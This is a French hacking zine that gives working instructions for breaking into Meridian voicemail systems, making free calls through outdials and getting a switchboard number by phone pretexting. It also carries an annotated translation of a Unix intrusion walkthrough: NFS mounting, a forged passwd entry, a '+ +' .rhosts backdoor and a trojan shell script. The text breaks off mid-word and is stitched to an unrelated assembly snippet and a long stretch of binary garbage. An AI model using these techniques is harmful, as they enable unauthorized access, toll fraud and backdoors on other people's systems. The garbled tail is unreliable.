appuyer sur # (ou * sur certaine vmb) pour revenir au menu principal puis apuyez sur la touche # (pour les VMB de type '1.#' est '2' pour les VMB de type '1.2') puis recommencez le hack ou vous l'avez laisse. ############################################################################### GO HACK D'UNE VMB MERIDIAN -------------------------- le BRONX je vous le dis je laisse EASY HACKER parler pour moi.. (cette article est tire de NOWAY 2) IV) -=)> La VMB meridian <(=- ------------------------------ * Acces direct a la VMB (par le numero du standard) Les commandes sont soit sur une digit pour selectionner quelque chose dans le menu en cours, soit sur 2 pour acceder directement a une commande quelconque. Pendant le message d'accueil, il suffit de taper 81 pour acceder a une BAL. Au risque de me repeter, les bals sont sur 4 digits. Par defaut, le code est bien entendu le numero des BALs. Le plus dur au debut est de tomber sur un numero de BAL existante. Scannez d'abord les bals de la forme x100, puis augmentez de 5 en 5 (x105 x110 x115 etc...). Une fois que vous etes logges, vous arrivez a la lecture du courrier. Les commandes possibles sont: 2: lecture du message en cours 4: message precedent 5: ecrire un message 6: messave suivant 9: appelle le poste de l'expediteur Les autres commandes possibles sont: 70: ajout de la mention "URGENT" sur un message 71: repond au message en cours 72: consulter l'envellope du message 73: transfert 74: ??? 76: efface le message 77: supprime le message de tous les destinataires 78: envoi de message dans toutes les bals 79: envoi un message apres son enregistrement Et les commandes se rapportant plus a votre boite qu'aux messages: 80: parametrage VMB 81: reconnexion 82: repondeurs (interne et externe) 83: deconnexion 84: change le mot de passe 85: listes de diffusion 86: acces direct a un message (faire numero du msg + #) 87: annuaire des bals 88: maintenance des bals 89: changement du nom du proprio Certaines commandes etant particulierement interessantes, je vais en detailler quelques unes: 80: permet d'acceder a un menu tres interessant concernant le parametrage global de la VMB. Les differents choix proposes sont: 1: change le numero de l'operateur (lorsqu'on demande de l'aide en tapant 0 ou qu'on se fait jeter apres 3 essais de hack d'une bal). Les digits filtrees sont les memes que lorsqu'on est directos sur le PBX, par consequent les indicatifs qui ne marchaient pas n'ont pas plus de chances de marcher en passant par la. Par contre lorsque la fonction d'appel automatique d'un poste est absente, celle-ci vient a la rescousse. Le numero doit la aussi etre suivi de # et precede de l'indicatif d'outdial. REMETTEZ IMPERATIVEMENT LE NUMER0 DE P0STE PRECEDENT (ca le dit lorsque vous essayez de le modifier) sinan le lendemain matin c'est D0WN !!! :*( 2: modification du message d'accueil (5 pour enregistrer, # pour finir) 3: modification de l'arborescence. J'avoue ne pas avoir capte grand chose a cette fonction (qui m'a pourtant l'air tres interessante), car elle fait references a plein de nombres dont la signification est difficile a trouver sans la doc. Mais j'ai beau avoir pratiquement tout explore, je n'ai pas trouve quoi que ce soit permettant de modifier les indicatifs filtres :-( 81: cette fonction est un bonheur pour pouvoir scanner des codes sans se faire deco. 0n est en effet deco au bout de 3 essais, mais le compteur est remis a zero lorsqu'on se logge. Par consequent, il suffit de faire deux essais, de se logger sous une bal dont on connait le code, de refaire 81 et hop... le compteur est remis a zero et on peut refaire 2 essais avant de se relogger etc... 0n peut ainsi scanner autant de BAL que desire sans jamais se faire deconnecter. ;-) 83: a quoi sert cette fonction ? 85: les listes de diffusions sont tres pratiques pour pouvoir scanner les numeros de bals utilises. Il suffit en effet d'entrer le numero de la liste a creer suivi de #, de faire 5 et hop, la VMB attend les numeros de BALs et vous dit au fur et a mesure si c'est attribue ou non. Attention toutefois: les frequences DTMF ne sont pas pris en compte lorsque le message dit "Il n'y a pas de boite au numero". La signalisation ne reprend qu'apres cette phrase, avant de prononcer le numero de la BAL en question. Donc ne vous precipitez pas sinon ca va systematiquement vous dire que la BAL entree n'existe pas a cause d'une erreur de frappe... Le plus simple pour hacker des BALs est donc de scanner toutes les BALs existantes grace a cette fonction, de tout noter au fur et a mesure, puis de tester celles dont le passe est egal au poste grace a la commande 81. 87: cette fonction est parfois accessible de tous, mais generalement reservee a quelques BALs de niveau de securite superieur. C'est assez lourd car ca vous donne pour chaque numero le nom du proprietaire, la date de la derniere visite, le nombre de messages envoyes, recus, archives et d'autres conneries, mais c'est quand meme une aubaine lorsque cette option est disponible ! 88: cette fonction n'est accessible que par la BAL du service informatique (souvent situe dans les 9000 et ne correspondant pas forcement a un poste en service). Les choix proposes sont les suivants: 1: Informations sur une boite: derniere visite, nom du proprio, etc... 2: Suppression d'une boite: attention: le numero doit etre valide par deux appuis successifs sur la touche #. 3: Reinitialisation d'une boite: cette commande peut s'effectuer sur une BAL en service ou non. Les messages et repondeurs sont effaces, et le code est remis au numero de la BAL. Il n'est malheureusement impossible de modifier le niveau d'une autre BAL ni le filtre des indicatifs a ce point-ci. 89: commande souvent retiree pour des raisons que je n'explique pas encore... -=[ 2.7 ABUSER DE LA VMB ]=- Ben la je vous fais confiance :) -=[ 3.0 PRECAUTIONS ]=- Ben voila une vmb c bien mais il faut faire attention de pas la griller betement. 1. Ne jamais prendre une vmb deja utilisee a moins que vous n'en vouliez une d'urgence. 2. Ne jamais foutre le bronx sur les VMB a moins de vengeance iminente pensez aux autres. 3. Ne jamais virer les messages des autres utilisateurs. 4. Ne surchagez poa votre boite vocale avec une annonce de 30 minutes et 8000 messages. 5. Amusez vous bien est soyez toujours des mecs cool. 6. Ne denoncez jamais un autre phreaker. 7. Vous risquez poa de vous faire tracer si vous avez poa une ligne numeris. Bref les VMB c bien c facille c cool c pratique... Mais LES PABX C MIEUX alors au prochain numero. COD4 (une precision COD4 ne veut pas dire le quatrieme COD a veut COD4 c TOUT bon je m'en vais :) ++++++++++++++++++++++++++++++nEW NEW NEW NEw++++++++++++++++++++++++++++++++++ 1: Comment se trouver facilement un BOITE VOCALE sur les VMB meridian !! Vous avez le choix bien sur de scanner tous les numero de 5 en 5 mais bon hum hum c long voici la meilleure faon hehe... 1.1 d'abords trouvez des boite meme utiliser pour cela lors du debut du messages faites le 0* la vous allez tombez sur un message qui tient a peu pres ce language "vous etes en relation avec un service qui vous mettra en relation avec la personne ou le poste que vous desirez consulter entrez le numero de poste de la perssone que vous desirez consulter suivi du #(diese)". Hum bon pour chercher un poste occupe tapez des numeros du genre 2100, 2300, 2400, etc vous voyez le genre bon une fois que vous avez trouve une boite vocale notez la position ou elle se trouve. Vous savez maitenant que il y'a un groupe de boites vocales autours d'elle maintenant determiner le debut et la fin du groupe occupe. ex: il y'a des boite vocales (de 2500 a 2550) vous avez donc un groupe de 50 boites vocales environ. Allez voici le truc si la derniere VMB est 2550 ajoutez 5 est vous obtiendrez la VMB 2555 (logique non) bon maitenant racrochez rappellez lors du message faites 81 la tapez le numero de boite 2555 puis comme passe 2555 (attention a peut changer essayer le 0000 etc). Hehe et vous voila avec un jolie boite vocale... Et vous avez gagne du temps ;) +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ LES OUTDIALS FACILES sur meridian (hehe meridian a mal) pour caller gratos depuis UN MERIDIAN voici les 2 methodes que j'utilise d'abors loggez vous sur votre VMB OK une fois desus faite 0* la vous allez tomber sur le classique "vous etes en relation avec blablabla...." bon essayez votre numero comme a indicatif+numero+# a la fin EX: 00+numero+# (essayez tous les indicatifs bateau)ou si vous etes un vrai acharne faites tous le numero de 0 a 99 bon a marche poa arg passez a la methode 2 bon d'abord faut le numero du standard oui je veux bien mais je le trouve comment ? la faut ruser allez regardez comment j'ai recupere un bo numero de standard # allo oui bonjour je voudrais connaitre votre numero + comment ? # oui en faite j'ai mis votre numero dans la memoire de mon telephone est comme je voudrais le noter sur papier j'en aurais besoin! + ha oui je comprends ben c le XXX+XXX+XXXX Bon un fois le numero entre les pognes prenez les 4 derniers chiffres du numero qu'elle vous as donne EX. 12 34 '55 66' prenez le 55 66 en fait le 55 66 corespond au numero de poste du standard allez reconnectez vous sur votre VMB faites 0* puis le 5566+numero+# voila c tout mais c deja poa mal bon pour toute info je suis preneur ALLEZ BON HACK/PHREAK. CREDITS T7HS,PAceMAKer,BYpass,SORcErY,cleb,MayW33d,KWel,^mars ,loginz, Morgan,scud ,zeb,pegase,ZZZ , est tous ceux du #hackfr et larsen qui ma donne l'ide noway qui ma ouvert les yeux npc qui me les ouvre encore dsk qui est vraiment actif puis le phe PUIS LE PLUS NOBLE DE TOUS THE 7th HACKER'S SOCIETY ;) ------------------------------------------------------------------------------- NoRoute #1 Traduction .... Farmer 4762 CoD4&Mika NoRoute #1 ------------------------------------------------------------------------------- ######################################################################## # # # # # # ###### another file by mikasoft # # # # # # # & CoD4 from the PHE # # # ### ###### ###### FRENCH GROUP # # # # # # # # # # # ###### # ######################################################################## ATTENTION !!! Cet article est en fait compose de deux parties. La premiere est la traduction de l'article de Dan Farmer (auteur de Satan) mais "version hack". Cela veut dire que je vous montrerai des exemples bien parlants surtout sur le NIS, etc... Avec bien sur toutes les explications dont vous aurez besoin. L'autre partie n'est pas tellement orientee hack, elle est surtout destinee au newbie (attention pas au totalement novice d'unix!). Allez GO GO GO HACK! ;) D'ailleurs vous trouverez les explication pour les newbies dans HACKER'S NOTE. Recherche d'informations ------------------------ Supposons que tu sois l'administrateur systeme de Victim Incoprorated's Network. Dans un effort de securisation de tes machines, tu demandes a l'administreur d'un site proche (evil.com) de te donner un compte sur l'une de ses machines pour verifier ton systeme de securite depuis l'exterieur. Que vas-tu faire ? D'abord, essaye de rassembler des informations sur ton site (la cible). Il y a moult services de reseau a utiliser: finger, showmount, et rpcinfo sont de bons points de depart. Mais ne t'arrete pas la. -- Tu devrais utiliser aussi le DNS, whois, sendmail (SMTP), ftp, uucp, et tous les autres services que tu peux trouver. Il y a tellement de methodes possibles que l'espace manque ici pour les aborder toutes, mais nous allons essayer de montrer un apercu des strategies les plus communes et/ou dangereuses que nous avons vu ou auxquelles nous avons pense. Normalement, tu devrais trouver de telles informations sur tous les sites du sous-reseau ou de la zone d'attaque -- l'information c'est le pouvoir -- mais ici,nous allons examiner uniquement notre cible. -------snip-------8<-------snip-------8<-------snip-------8<------- HACKER'S NOTE En fait, avant de hacker un site, le but du jeu est de rassembler un maximum d'informations. Pour ca, tout est bon: visite leur web, regarde leur sendmail (vois si leur version est buggee), fais un FTP pour voir quel systeme ils utilisent, fais meme un telnet, ... -------snip-------8<-------snip-------8<-------snip-------8<------- Pour commencer , tu regardes ce que la commande finger te donne: (supposons qu'il est 6:00pm, Nov 6, 1993) : victim % finger @victim.com [victim.com] Login Name TTY Idle When Where zen Dr. Foobar co 1d Wed 08:00 death.com Bien! Un seul idle user -- il semble que personne ne s'apercevra de rien si nous arrivons a entrer dedans maintenant. -------snip-------8<-------snip-------8<-------snip-------8<------- HACKER'S NOTE Le service finger est un service tres utile pour recuperer des informations. C'est pour ca que beaucoup d'admins l'enlevent. :( -------snip-------8<-------snip-------8<-------snip-------8<------- Maintenant, tu essayes d'autres tactiques. Comme tous les fans de finger le savent, faire un finger sur "@","0", ou "", et sur des noms comme root,bin,ftp,system,guest,demo,manager, etc... peut reveler des informations interessantes. La nature de ces informations dependent de la version de fingerd que votre cible utilise, mais les plus notables sont les noms de login, avec leur repertoire utilisateur et le site depuis lequel il s'est connecte la derniere fois. Pour avoir d'autres informations, tu peux utiliser ruser (en particulier avec l'option -l) pour obtenir des infos utiles sur les utilisateurs qui sont actuellement connectes. Ces commandes sur victim.com donnent les informations suivantes, presentees sous la forme d'un tableau: Login Home-dir Shell Last login, from where ----- -------- ----- ---------------------- root / /bin/sh Fri Nov 5 07:42 on ttyp1 from big.victim.com bin /bin Never logged in nobody / Tue Jun 15 08:57 on ttyp2 from server.victim.co daemon / Tue Mar 23 12:14 on ttyp0 from big.victim.com sync / /bin/sync Tue Mar 23 12:14 on ttyp0 from big.victim.com zen /home/zen /bin/bash On since Wed Nov 6 on ttyp3 from death.com sam /home/sam /bin/csh Wed Nov 5 05:33 on ttyp3 from evil.com guest /export/foo /bin/sh Never logged in ftp /home/ftp Never logged in -------snip-------8<-------snip-------8<-------snip-------8<------- HACKER'S NOTE On peut remarquer que le compte guest dispose d'un shell est que son home directory est exporte donc accesible par NFS. -------snip-------8<-------snip-------8<-------snip-------8<------- -------snip-------8<-------snip-------8<-------snip-------8<------- BIBI NOTE Notre experience avec SATAN et l'observation de crackers de syteme au travail, nous ont prouve que finger etait l'un des services les plus dangereux, parcequ'il est tres utile pour enqueter sur la cible potententielle. Cependant, la plupart de ces informations ne sont utiles qu'utilisees en conjonction avec d'autres donnees. -------snip-------8<-------snip-------8<-------snip-------8<------- Par exemple, showmount sur notre cible donne: evil % showmount -e victim.com export list for victim.com: /export (everyone) /var (everyone) /usr easy /export/exec/kvm/sun4c.sunos.4.1.3 easy /export/root/easy easy /export/swap/easy easy -------snip-------8<-------snip-------8<-------snip-------8<------- HACKER'S NOTE La commande showmount avec l'option -e hostname permet de connaitre les systemes de fichiers effectivement exportes par le systeme distant hostname. -------snip-------8<-------snip-------8<-------snip-------8<------- Remarque que /export/foo est exporte pour tout le monde. Remarque egalement que c'est le repertoire utilisateur de "guest". Il est temps pour nous de rentrer dans la machine! Dans le cas present, tu va monter (mount) le repertoire utilisateur de "guest". Comme tu n'as pas de compte correspondant sur la machine locale et comme le root ne peut pas modifier les fichiers sur un systeme de fichiers monte avec NFS, tu cree un compte "guest" dans ton fichier /etc/passwd local. En tant qu'utilisateur guest tu peut mettre un fichier .rhosts dans le repertoire utisateur distant de "guest", ce qui te permet de faire un login sur la machine cible sans donner de mot de passe. evil # mount victim.com:/export/foo /foo evil # cd /foo evil # ls -lag total 3 1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 . 1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 .. 1 drwx--x--x 9 10001 daemon 1024 Aug 3 15:49 guest evil # echo guest:x:10001:1:temporary breakin account:/: >> /etc/passwd evil # ls -lag total 3 1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 . 1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 .. 1 drwx--x--x 9 guest daemon 1024 Aug 3 15:49 guest evil # su guest evil % echo evil.com >> guest/.rhosts evil % rlogin victim.com Welcome to victim.com! victim % -------snip-------8<-------snip-------8<-------snip-------8<------- HACKER'S NOTE En fait comme tu as pu le voir avec la commande showmount, le repertoire /export est accesible a tous et comme le repertoire de l'utilisateur guest est dans /export/foo tu as acces a son home directory. En suite l'astuce consiste a mettre un fichier .rhosts (le fichiers .rhosts est le fichiers d'autorisation des r-commandes. ex: voici un fichier .rhosts qui appartient a l'user nico de chez X.com: # .rhosts # hostname logname bibi.com paul bibi.com linda Cela veut dire que l'utilisateur paul de la machine bibi.com a le droit de faire des r-commandes chez X.com et pareil pour linda. Si tu mets "+ +" dans le .rhosts, tu permets a tout le monde d'acceder a cette machine.) Donc tu mets un fichier .rhosts contenant "+ +" dans le home directory de l'utilisateur guest se qui ensuite va te permetre de te connecter a victim.com juste en faisant un rlogin (la commande rlogin permet de se logger sur une machine unix distante sans avoir a donner de mot de passe si on est declare dans le .rhosts de l'user ou le /etc/hosts (mais qui n'est accesible que au root :(..). Par exemple, reprenons le cas de nico de chez X.com. Il y a linda de chez bibi.com qui est declaree, donc moi je deviens linda de chez bibi.com et je veux me logger chez X.com: je fais ceci: rlogin X.com -l nico Et hop! Je suis logge. :) Si nico de X.com avait mis "+ +" dans son .rhosts, tout le monde pourrait se logger). -------snip-------8<-------snip-------8<-------snip-------8<------- Si, a la place des repertoires utilisateur, victim.com exportait un systeme de fichiers avec des commandes utilisateur (/usr ou /usr/local/bin par exemple), tu pourrais remplacer une commande par un cheval de troie (trojan) qui executerait les commandes de ton choix. Le prochain utilisateur a executer cette commande executerait ton programme. -------snip-------8<-------snip-------8<-------snip-------8<------- HACKER'S NOTE Un cheval de troie est en fait un programme qui va te permettre d'executer des actions a l'insu de l'utilisateur. Voici un exemple de cheval de troie: $ cat lss #!/bin/sh echo "+ +" > ~/.rhosts echo "command not found" $ Cela veut dire que chaque fois qu'un user tapera lss au lieu de ls, il executera notre cheval de troie qui comme vous l'avez vu met "+ +" dans le .rhosts de son repertoirTITLE Programme Reactivant le rsident RingFence ### Basic version ### .model Small .code dosseg org 100h start: mov di,5349h mov si,4e47h mov ax,3002h int 13h mov ah,09h mov dx,offset TEXT int 21h mov ax,4c00h int 21h TEXT db "Le module rsident RF.COM est Reactiv .$" end start Pc4ǗM]&ſWRg0P3V(n^ySQ@^_~lO7{@XFa-vˡ^?X*xAgކ޲<{L#Mf 04@Dg@pRf>b^c77ru譆M1oaˬ(Hc,މ8Fɘ0#* Dz'YwX™ΕF+*k ORoM鬎X71)سa-7i+AӶ)qrƅج)Ӣ>F7pY }dZQZ3:j $w\zCE8C/%+dˬG2xۦ`G@{ / sqq6DW.UQUĔT_WrԌ 0@^(k 7hoǓcs Exx-7F›{/UٗH [b~$@r-_Op:;Nȅ&+RcVe>`VbǺ|;*z5za땮BkO$9ce]׵ %q&E]ZVn`$-CLOQ;@i@S&!"W+C7!~&yYEC,\ Y[ ۿ4k,ĮW%^۫NL ?۳W_ltl &gDS[_PhԬQg5ޞ!nuD֒+R^BNS]eT^jf4Qqe[Yr #@O΃Gur-9h Py {U@xqhv1 u齻*#=d7g9o\KJ$"qT=4.\Ҕv5o싛zVT㡚*6mZwTĂdL^SOEDY(ԐڔذHh1ZJT& ^O7?6VDb OL?t%>9c F[ǖ/Izߝy\@>ܓy_U.G,66L +1mS¿wb?%>oHm>Si W"5RjɅ!B X&ݔ_]iD8<"lyn5`K_ltY< n;5t!'>pC>|m|+M &`͸Uӎq"&r҄jjNJ0$o'~R(Ճ܋S o;o!7 >ŏm;sBX>n+ƦXn &K3C9Pr1T7No=jpQ1߱^<30n1I5/{Mkr)޼KE(V1/UzwҙGO\QՆ}/߹=wQʉ7D!/,cFhcWme/F OQ])77}Px/%,wм`3s}YZ3nyxji* ,#9;<"SzZX~e~U71~qԣYZE@3 b/m=x'K}%s7_DwW:ξ/_τ 0s2 U4*$Vr*$Mj4UV5p:н;(CAȅW=uyWzUNңoTt|xwV K`;\,wWФQk:ƴ'oOƎ$"(Vдlopsnj>ox `кi:i;giZqX'Lq`Uj*Xi#9 A*ȆA+H$ލbd&0Oq !p;[xPU+ްZ+exQ'pmĶQ+?d>?<)7Y1lgϫyɮ &T?t).%݇@+P?={ϧKҖM>vhoN6oمGMnX힆Źn,Il`D#P5,#!"mUlϕ^M'6*+W701cPPZ?"<{[hޙϮ;d(1J i. e66 GZc6P/AL6젃-?R}-$Є0`+uP~j"6ܴVAz {'Od)NOgKUَVT=%!.(Fz?_(\b%45΂p~f|${ `]tKbO1,F,~֏MadT%foNZS5O]ʴ:$%/ct1Љwh|K 8!|4QϮnD2rf]pwGT8s-tz7uA}ٕ$/sFc/2˭yyI_Ĕ+]?%H?ǀ?o1I 4E#h?LEM[2,K0)b3M`ޙ}CCf0hPCf`O QԢ'i6[XtH2ThBSPi^-K|ALA ːfXEJRygkaпU_NL\N9CrS gڥ ~G˼Ɋ55re)$CqUW$;EKd4-o?C6(gd h TpR_*їHg_% N)(FCLTLSeێOC]Pfw:Q"0Cq;˧BRgfKgxg% oQpL,  Fm1(_ ?QD6B>HRy] JBG(>`D)~@R:1\MTlؗ)(@3T);`f~+&x4*`0ߞd)\cyC?)V >%/#qh[|:/{ҝ#ct~)#xʪ W/.,E}zl+E|@46wIT4āt|P-g;\չop۬@j,BD'LՆMzpIW#rp<ڙ ewčiw*K_nža1dh[rS`۠` q8߾ boWO[v9<}v7$µ9}DžEG3s̩-dޯ-߾qQvE}yՌЋXNNWyVӏ^*/ORp<O _¦OQmͺ&66=Sa y.+n:N7wvNѼvA1^jڀձ[In[O=lDq/,K%J MW-)jʈ+7t>g8 D YGhp1 hoOpb q. K" L_lOb+oV b  h T$3GdVD8y콴Eo/%vVZ8Od&v)smRP b.}o!pHd]mABTky`~ilՋ;l1bcwL~!u tP-RKn:9Y+hldߡlbuZ5qgi;)3kS"ⱝIϣZރ*]'qKKGz;qyIckVs+$8 >U崕M@5EUщeY%5rJ*>M&L$tY}}V+q;5^wO\m\1˗MB.xneB9YyVWt}Ъx;tTB]u^vY;6h7Ѻݼnkm9IzhhDHB'JƯ59o^elD火q#Ӷ/YǡIt;L_959唵C9l [* fDw.7+kBREtIUzZMK+ܚcGzИtlQ<)Qf&mÞ곥-p Ywӕ޳{Ȇmexxi(N=$1Yg3;3Z# sG 2 ŬYcj-HŪ系;nS:@^ÑJCzO3JTD|S]{XW6u C$4S>qJ: Vv9wPLQXvׯmT2S"UG\΅v\{W;l䘸2rd@UH.}He5a(ܗE-M#IPSsdc)D8ߦ;D9b뷋» 1f3J˧ =eSӷL҉d<S[K>{,ZXω b+pw#mMc"Jst۠xS:-xoiĒ ưZs oZEr6_땃WEӷ9xG[9xi^b r/>J;th.U QՂ8L~ `&CtM+W} %ujnjx Q 3||C31e;_Cv(WP4b3 tAğ j),\jY)(TKT[B")]t{8ʓ[쭣NO p0BO0K=_ldJN4$\qsX{w9/f7?C([g|Rʠz"uL\]XԿP.P9W1eҧCn^3Txi.ѩ.O~}L1P0V$*y\pPGLa[#@b?itg@Bc#j n۵k%푋:G0D.)Ǡ{Cl:I=\rZeuݒ]g,Vmϧtcfl鿖+YD5m--uV+Itm-V3Ua,kz9ɴ`g^di(.5 RytjVXۂ _!#9IK=mpÞco)1Cfn~zǠpـơ*9nPLF*sc,u^`<4qx6ț찿vefwOkbfh[ 5t΍(}}F5G;Ns ̂[mobDGk9ZLv+ES`5*Tx .1WJ&"TRI핫_&}x? I)窽 S*]z)?W M}K6r>sl{|%x )Boz40X@qI @@78ЯmQvY^="cq4Jd:5z5) d}#gw|'wm#gYwz`~[|3mqN/fk}{ŀOiX:b]pO(zvezKth6V,nC4S=͹_ v'.Y=?Si~etV5p ݙ폐6;T6x{‰'<Ǒ)eˇ|q=^ $x4`VYma'k~0荨 Eoh.cHw Y۟Mzotu~!5lom7cȎM}{~㓾H4˽zXMT%Ct I?(CΐT>I8<a8%@ WvLR1vm*E7bJ"0]` bZB{ܿ{bکҍmR~1"GN.&u>zd8wA8uV!ki Ϝ Vb#SrQgR?@Л䯤XQQ VY^|KE( ҒyRVsJ&YW$AagCB&ƪߘݫ4ӏ޵fMAuئ!!̃+m^ՐsIѸs ܙN Y\ѱEz"θ-5\0gXgGD8uV`mDo2t2j-ͩ}8-IwBi)xU9%=v+yC|%Y.Y3׬e3@ !@PQ(CP}-=4-6{NB6( ~oQpHK.͑ZlfU^D0"X" ɟQ3O:dnŎ974U`Vvj]f^x6㕑_x/y=-ʐ/<3n°rFgfZtY37c S_c|eZ}na_h\h6P_bgPPQR@B|PPKtʴN+9BE cL*I&'=v-8rfˑ[$ЪϭgF5b&^k$՝0A`, 4LP(`"":q&jhUZ,۬ٴ,_&vm~iqh]\jͺ:R:4j[W} r-*69 2fG-rtK:i>a)_ꌮ-徠d[bѯ.nڐȚKm@R`k;ƽTN;zCy 84iPFOl&HF:ҠeY 苷QZ0)V)UZ ]ۋjY ]L+rrխcYXΑ.0 W 2Ji}L[Ozmi* :!JuYQ;Np۩q ̟MЌ]- /b>GُmOEE{v&5KBjBnBV_bM5莎 ?+%f0L VҩSw枟Y$M@b+r梢 "FM|Sa7ke.BfT }]0XOe3Ӳl>̽scΦ`VMar'ΰsW臔B[j"x48Klࠎj`{ZQOC8iԭ=g66B &=O( wcF"`k[QFf T}RG*fz^ߏAM#Q-Fcz#%_" 4MW55G}='#0|egv }%Ui#zn{@ԗ,O熘TcqӰsJCf\n{NWwaV?@' N #rG5&7T Ǯ99Pn%`NwvDZ^ixDk9l*3HNwW;r0O_ޤuV2}" H;'P6ryߣeH y}_eoDŤb9 ̛!cܳGNz%Fga/!Z&/'K^œG\ӵ&7=g ˀү,w -2P;5COoc_C!g^$@'аD&CԻW^lWptxӆ/1XܣE?2gESSQ0[hbPZ̟j^i=^as9be,[zz8/,F("cROߑkrQb)=u$i(oߛ:^*PD5㶩(:cЩXXmy60٦c4j^6#n ,9z1Hq a7]~Ù#B$m8@'Qx>ȓ_9ק58܃HgةKt2縜<vB8)ֱ0*'dޡn8rwl $\^^akz{.ǵz*zdj_VA*96o#fxU w27C` (˜"$Uܒ,W>OvŚŪh (F*.P/s(v,aMNR0Yj @  PxŹJЌ]~b3hZK:lVw d0L0фw#1{b[rRܸ@D?I7DZygRjbLU{S(L(9F1wiJ3:3 [!`I~=$2ϯJ0Q:`k&!;Ӱ]؝.h %:Qe)xgAX:a7oϣ PH5ǢY2 ݑTc)V>M3#iM [Eo ] ViP 7a mıWl"WdLhT;o פp=7iȶ*vV}'C .qRk2̊e9&r(G n吉*MN8F!gX"bڶQs͟Ə޿dc ٓBbk^rʹZ lŧp5}V/LQ փuefcċQ+YS "Zg[Xg:DŶZ" lZډZLcAj {$R/U k^wԬrlgpvG :UPQ6?JrzjKu lБ(X6s[l=:b>> ׾t`dWl[U-lA;kA/bal{s=4cKRn{0 44} Z$oQ!)Tǿ M$ix b?s);,FG\QNቒ.wx^p| kHŕ NNxbw=w_#̭& U~rW0—7mXԻ,Z g":YNꏛT"!קRm[< Ђnl1&) C2 ,Smo*yoat*f@GO3W wYa1#$H=47|0:i%^{Ұ3͟ AO&F,#kĦoF)~HJ$!]c"΅m#9{2Ӛ&G?dfMڽgD-휈Zzϡ+j˺Ҍ ~QʷLmHW-cFJ(N!j~k _0|(PoNI`px  npcF]&1p).%;&try~hkEEV kQ{g"ʷ-\e青zS V ̥B&IMXфP"#E)`Ru~_.4p*Rw<'Q;-~ǐ.t_ʖZLv5u6V\ cϲ>\\!w]*ĨM S|:UrFy3W7Wrsmw5Xp !/d@D-;_3Ӷ| +{N=~Ē}j#QbtL+Ihv/Vd(!PF۴F>͂Ʒ6`7=zb[j[w94ւ@J8.3 A =Љs'^YD܆f:7 8Y<ӵ"ěwtU8d1m;Ɍ H`\/L"84K(Q*alP? WrμD"Po}qNV"b@{*kE bI7?8Y|ۀQwJW=.iV!CKW{PTU? MMBcLHP`Y`y"`eYVwNJƚ2m*2HSMٔC5-5J$fj={mYZw9}g?9ooD91.$TWrǢ&ZQ2d} ]H!++9 @"0$y7M6 d딭e 02߄L)T`&`ca(ʁ :vc5@p?Ag<]ܹxP<©f>DzꃸZ@ZuomO)(g`R~ 2a{( P By(#aλ4|9Rj( >r3pʝaMWQWPπO3i,zX76;SvLBq~? A7KaUൔ .Ut0wVcwX)"Qh,bWnTySc3fEL4}Gm)2l=4Dz|Hd9x"FEEwi}Fe87ݧq).7Ycx{}*+goNcf͞*^VKMNdW鲳uZѦhr)Oӆ!)7Mm }^N.o(K*ZgSR82]5CVfRԽyZl~BY{ZKi4@q4F[Ʈ4( j+gݾl#Sٍ^pH"0[G&p,>zhl)f`=pOAw5x7Cȇ~W]Idk Φ@k%+?\L/ڑ^2}we\B~ҕ|`ɩ 8䕥qs 收B Gp޻\D_uR{!s(FA!&u e-+FXՉ[DyJZAk%2IۯLYS@KU_ʱ$f\}㪔42Z˖3%{d򈝼zX+P!ZF֨@/V8бfvrh7ʙ.̙@D#˝ݫmƓ'yey.C8e(B|Jv}zrCR%%$o~W~3P*ʆDyYٽygbG[0s V²^f6b,6FiazIyzZ=VXVTJ!lfVfz97޽a5=K8tzAIeGlMB4i-eLc.jd6٫zxS,&Rn4;w2PU>PUJP6UVPNUbPUn @ U@0U/0 @U5+0 PU-s  U50 PU/0 @U-{  U} U}U} U} fV P b V P  V|)  V}; V|G  VTY   V}t  "V] 0&Va P0*VZ ` .V_   2VZ `  6V_   :V\  @ @ @V^+  @ PVFV\F  @ @ LVZs ` PV^  @ P VV_ ZV/  p@^V-  p bV5  pPZfV* P@ZjVW @ @ZnVc pZrVc @ZvV ZzVc @Z~V ZVc pV V V pV pV V rV| @\V|2 @V|P @ V|n @V| @bV| @VT 0V} pV} pV} pV} pfV p bV p V}( pV}4 p V|F V}R pVb^ `Vb  Vb @Vb  V b `Wa  WaW }  \Wb\Wb*^ W6@ @$W<Ï}uއπ|x]|I'8>Xgԛ'c}_c_ţGG'|*{% e?)wOI} cw`5k'>krx<x^'oo!}7uホC(7ܓH_V<e ?~z>QEe[ݟu>n95(:~}{:hǧ?p#_?_~¼MlWM_?Gz.7S{_#~ 4W & ?K{|~4>}c1?sh0WNʷul/6#Оc~n 2c_{8<X#|{,ϏW͵ܽ)O`k`.=!\Hu+'wi0[ze-/=j~{;Gd>j}a'ؐXpoC /Ǐ6aޯțGW{~$Ѿ?=~g3_@" Yܞu=?K{?yd_`Eu}?yq(w1~m:&1F8 |SG#|_P@X3os1c_w}ޭw]RK+s>FObf7oǾr7>GLh>e>}Ǿky/?F 8p+v탘_??p>'9&{Uan-7|uͫ%~݂?{aװ><Ƿ[~|GrЯ{0}G?GG~uwK?>g_GRoM<xמѯ=IАi>}`yt?}<"ý~/>sK;>P4س}~;6}Kǭ_< 7_x'c_z~ۂ<։o?E(/KwƾoB9hc?a]߀|Ϗi>HGK$lB|-pTi(;2֙3Y8gϜ&[+^ԩ=/o?k&~xJS? 韕mᅳJOݻwpېשS>鯆e|H+RBG/R/ROB,ώW߀ҿ|? 4y$݁?L&0]M=:J -x%|o{|+_"w% 9iTg8-8c>ka{xmqv4k矁tssA9>(0PG zx^瓐w = CCz盿 ^{% @Hco0>ߜBa`O\HA?;*s9}^H,i(F1ҟ3WFFkIÚN/F`??jOeFz3eg< 됾a[9dڒۑ 3xF  e^}? sȿр#}x_8=jӒ&ܮ@>eyzjjMfj-*j8n7MI%ۜF^ ֨I$Ao6njI<+WrhJBC@^W*Rkm0?bw*gï+[]HU5u/4c& SkI[]Si56귂n k9Mr` joW(S["fWCj]D|ZXZ^7gmj0,p<ѩ5' Tl~y ?. gIcw;Պ٪U(Tgѭ!G?oѱѱw/>o_qpLr>'L?_@y~{)wz>wWOsg+ #=xWp2vWpwnňn'"r׻#r׻)?"wܕd_z+>wO}}s_}[ܽv{w{s~P廂 s~Ԃۧ{>!"9cW(~n;S.o q'&;%{# |)$ |G֏|Ip 